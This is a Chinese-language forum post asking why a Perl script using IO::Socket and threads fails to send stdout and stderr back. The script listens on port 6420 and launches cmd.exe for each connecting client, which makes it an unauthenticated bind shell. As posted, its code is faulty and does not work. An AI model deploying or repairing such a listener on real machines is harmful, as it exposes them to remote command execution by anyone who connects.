[問題]用IO::Socket 和 Thread 做1個shell..

#use warnings;
use IO::Socket;
use Thread;
$SHELL="c:\\windows\\system32\\cmd.exe";
my $sock=new IO::Socket::INET(LocalPort=>6420,Proto=>'tcp',Reuse=>1,Listen=>10,Type=>SOCK_STREAM);
die"Could not create socket: $!\n" unless $sock;
$sock->autoflush(1);
while(1){
next unless $client=$sock->accept;
Thread->new(\&conn,$client);
$client->close;
}
$sock->close;
exit 1;

sub conn{
my $conh=shift;
Thread->self->detach;
print $conh $welcome;
while(1){
$conh->recv($get,20);
open STDIN,">$conh";
open STDOUT,">$conh";
open STDERR,">$conh";
exec $SHELL;
#close sock;
#close(STDIN);
#close(STDOUT);
#close(STDERR);
#exit 0;
}}


RUN起來時...stdout 和 stderr都是不能傳送........
究竟那裡錯了..?